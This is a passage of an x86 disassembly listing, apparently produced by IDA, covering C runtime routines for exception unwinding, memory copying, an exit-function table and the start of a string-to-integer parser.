sub_4160BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160C4	proc near		; CODE XREF: sub_416276+5Cp
					; sub_41A74E:loc_41A77Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4160EC
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42010C	; RtlUnwind

loc_4160EC:				; DATA XREF: sub_4160C4+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4160C4	endp

; ---------------------------------------------------------------------------

loc_416113:				; CODE XREF: seg000:00420268j
					; seg000:00420285j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A353
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416149	proc near		; CODE XREF: sub_41A7C9+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41619D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41AB50
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_416149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41619D	proc near		; DATA XREF: sub_416149+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
		add	esp, 20h
		pop	ebp
		retn
sub_41619D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161C2	proc near		; CODE XREF: sub_41A595+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_416276
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_416248
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_469514
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_416248:				; DATA XREF: sub_4161C2+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_416265
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41626E
; ---------------------------------------------------------------------------

loc_416265:				; CODE XREF: sub_4161C2+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41626E:				; CODE XREF: sub_4161C2+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416276	proc near		; DATA XREF: sub_4161C2+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416299
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4162E6
; ---------------------------------------------------------------------------

loc_416299:				; CODE XREF: sub_416276+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4162D7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4160C4

loc_4162D7:				; CODE XREF: sub_416276+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_4162E6:				; CODE XREF: sub_416276+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162EB	proc near		; CODE XREF: sub_41A3EE+C6p
					; sub_41A595+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_416342

loc_416309:				; CODE XREF: sub_4162EB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416313
		call	sub_41ABF2

loc_416313:				; CODE XREF: sub_4162EB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416328
		cmp	ecx, [eax+8]
		jle	short loc_41632D

loc_416328:				; CODE XREF: sub_4162EB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416339

loc_41632D:				; CODE XREF: sub_4162EB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_416339:				; CODE XREF: sub_4162EB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_416309
		mov	eax, [ebp+var_4]

loc_416342:				; CODE XREF: sub_4162EB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_416356
		cmp	esi, eax
		jbe	short loc_41635B

loc_416356:				; CODE XREF: sub_4162EB+65j
		call	sub_41ABF2

loc_41635B:				; CODE XREF: sub_4162EB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4162EB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416368	proc near		; CODE XREF: sub_41CE08+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416380
		push	[ebp+arg_0]
		call	sub_42010C	; RtlUnwind

loc_416380:				; DATA XREF: sub_416368+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416368	endp


; =============== S U B	R O U T	I N E =======================================



sub_416388	proc near		; DATA XREF: sub_4163AA+Ao
					; sub_416412+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4163A9
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4163A9:				; CODE XREF: sub_416388+10j
		retn
sub_416388	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163AA	proc near		; CODE XREF: sub_41A86F+Dp
					; sub_41CE08+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416388
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_4163C7:				; CODE XREF: sub_4163AA:loc_416402j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416404
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_416404
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_416402
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41643E
		call	dword ptr [ebx+esi*4+8]

loc_416402:				; CODE XREF: sub_4163AA+44j
		jmp	short loc_4163C7
; ---------------------------------------------------------------------------

loc_416404:				; CODE XREF: sub_4163AA+2Aj
					; sub_4163AA+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4163AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416412	proc near		; CODE XREF: sub_41A88F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416388
		jnz	short locret_416434
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416434
		mov	eax, 1

locret_416434:				; CODE XREF: sub_416412+10j
					; sub_416412+1Bj
		retn
sub_416412	endp


; =============== S U B	R O U T	I N E =======================================



sub_416435	proc near		; CODE XREF: sub_41AB50+1Ep
					; sub_41AB50+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D4C
		jmp	short loc_416448
sub_416435	endp


; =============== S U B	R O U T	I N E =======================================



sub_41643E	proc near		; CODE XREF: sub_4163AA+4Fp
					; sub_41CE08+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D4C
		mov	ecx, [ebp+8]

loc_416448:				; CODE XREF: sub_416435+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41643E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416458	proc near		; CODE XREF: sub_4046AA+5p
					; sub_40484C+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416458	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416477	proc near		; CODE XREF: sub_404D21+26p
					; seg000:0041FEE5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415E3D
		pop	ecx
		retn
sub_416477	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416490	proc near		; CODE XREF: sub_404D92+3Ap
					; sub_418B28+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4164B0
		cmp	edi, eax
		jb	loc_416628

loc_4164B0:				; CODE XREF: sub_416490+16j
		test	edi, 3
		jnz	short loc_4164CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------

loc_4164CC:				; CODE XREF: sub_416490+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4164E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4164EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4164E4:				; CODE XREF: sub_416490+46j
		jmp	dword ptr loc_4165E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4164EC:				; CODE XREF: sub_416490+31j
					; sub_416490+8Ej ...
		jmp	off_41656C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_416500
		dd offset loc_41652C
		dd offset loc_416550
; ---------------------------------------------------------------------------

loc_416500:				; DATA XREF: sub_416490+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41652C:				; DATA XREF: sub_416490+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_416550:				; DATA XREF: sub_416490+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41656C	dd offset loc_4165CF	; DATA XREF: sub_416490:loc_4164ECr
		dd offset loc_4165BC
		dd offset loc_4165B4
		dd offset loc_4165AC
		dd offset loc_4165A4
		dd offset loc_41659C
		dd offset loc_416594
		dd offset loc_41658C
; ---------------------------------------------------------------------------

loc_41658C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_416594:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41659C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4165A4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4165AC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4165B4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4165BC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4165CF:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490:off_41656Co
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4165D8	dd offset loc_4165E8	; DATA XREF: sub_416490+35r
					; sub_416490+92r ...
		dd offset loc_4165F0
		dd offset loc_4165FC
		dd offset loc_416610
; ---------------------------------------------------------------------------

loc_4165E8:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4165F0:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4165FC:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_416610:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_416628:				; CODE XREF: sub_416490+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41665C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_416650:				; CODE XREF: sub_416490+1B1j
					; sub_416490+208j ...
		neg	ecx
		jmp	off_416720[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41665C:				; CODE XREF: sub_416490+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416674
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_416674+4[eax*4]
; ---------------------------------------------------------------------------

loc_416674:				; CODE XREF: sub_416490+1D6j
					; DATA XREF: sub_416490+1DDr
		jmp	off_416770[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[esi+41h], ah
		add	[eax-2FFFBE9Ah], ch
		inc	cx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416724
		dd offset loc_41672C
		dd offset loc_416734
		dd offset loc_41673C
		dd offset loc_416744
		dd offset loc_41674C
		dd offset loc_416754
off_416720	dd offset loc_416767	; DATA XREF: sub_416490+1C2r
; ---------------------------------------------------------------------------

loc_416724:				; DATA XREF: sub_416490+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41672C:				; DATA XREF: sub_416490+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_416734:				; DATA XREF: sub_416490+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41673C:				; DATA XREF: sub_416490+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_416744:				; DATA XREF: sub_416490+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41674C:				; DATA XREF: sub_416490+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_416754:				; DATA XREF: sub_416490+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_416767:				; CODE XREF: sub_416490+1C2j
					; DATA XREF: sub_416490:off_416720o
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416770	dd offset loc_416780	; DATA XREF: sub_416490+1B7r
					; sub_416490:loc_416674r ...
		dd offset loc_416788
		dd offset loc_416798
		dd offset loc_4167AC
; ---------------------------------------------------------------------------

loc_416780:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_416788:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_416798:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4167AC:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167C5	proc near		; CODE XREF: sub_404DF9+34p
					; sub_404DF9+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_4167C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167D3	proc near		; CODE XREF: sub_416840+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_46AB14
		call	sub_41AC48
		mov	edx, dword_46AB14
		pop	ecx
		mov	ecx, dword_46AB10
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_416832
		push	edx
		call	sub_41AC48
		add	eax, 10h
		push	eax
		push	dword_46AB14
		call	sub_4174DF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416815
		retn
; ---------------------------------------------------------------------------

loc_416815:				; CODE XREF: sub_4167D3+3Fj
		mov	ecx, dword_46AB10
		sub	ecx, dword_46AB14
		mov	dword_46AB14, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_46AB10, ecx

loc_416832:				; CODE XREF: sub_4167D3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_46AB10, 4
		retn
sub_4167D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416840	proc near		; CODE XREF: sub_404EE6+1Ap
					; sub_4200EE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4167D3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_416840	endp


; =============== S U B	R O U T	I N E =======================================



sub_416852	proc near		; DATA XREF: seg000:00423018o
		push	80h
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	dword_46AB14, eax
		jnz	short loc_416873
		push	18h
		call	sub_417BEE
		mov	eax, dword_46AB14
		pop	ecx

loc_416873:				; CODE XREF: sub_416852+12j
		and	dword ptr [eax], 0
		mov	eax, dword_46AB14
		mov	dword_46AB10, eax
		retn
sub_416852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416881	proc near		; CODE XREF: sub_416A89+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_416899:				; CODE XREF: sub_416881+46j
		cmp	dword_437F7C, 1
		jle	short loc_4168B1
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4168C0
; ---------------------------------------------------------------------------

loc_4168B1:				; CODE XREF: sub_416881+1Fj
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4168C0:				; CODE XREF: sub_416881+2Ej
		test	eax, eax
		jz	short loc_4168C9
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416899
; ---------------------------------------------------------------------------

loc_4168C9:				; CODE XREF: sub_416881+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4168D7
		or	[ebp+arg_C], 2
		jmp	short loc_4168DC
; ---------------------------------------------------------------------------

loc_4168D7:				; CODE XREF: sub_416881+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4168E2

loc_4168DC:				; CODE XREF: sub_416881+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_4168E2:				; CODE XREF: sub_416881+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416A79
		cmp	eax, 1
		jz	loc_416A79
		cmp	eax, 24h
		jg	loc_416A79
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41692A
		cmp	bl, 30h
		jz	short loc_416914
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_416946
; ---------------------------------------------------------------------------

loc_416914:				; CODE XREF: sub_416881+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_416927
		cmp	al, 58h
		jz	short loc_416927
		mov	[ebp+arg_8], 8
		jmp	short loc_416946
; ---------------------------------------------------------------------------

loc_416927:				; CODE XREF: sub_416881+97j
					; sub_416881+9Bj
		mov	[ebp+arg_8], ecx

loc_41692A:				; CODE XREF: sub_416881+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_416946
		cmp	bl, 30h
		jnz	short loc_416946
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41693E
		cmp	al, 58h
		jnz	short loc_416946

loc_41693E:				; CODE XREF: sub_416881+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_416946:				; CODE XREF: sub_416881+91j
					; sub_416881+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_416956:				; CODE XREF: sub_416881+16Cj
		cmp	dword_437F7C, 1
		movzx	esi, bl
		jle	short loc_41696E
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_416979
; ---------------------------------------------------------------------------

loc_41696E:				; CODE XREF: sub_416881+DFj
		mov	eax, off_437D70
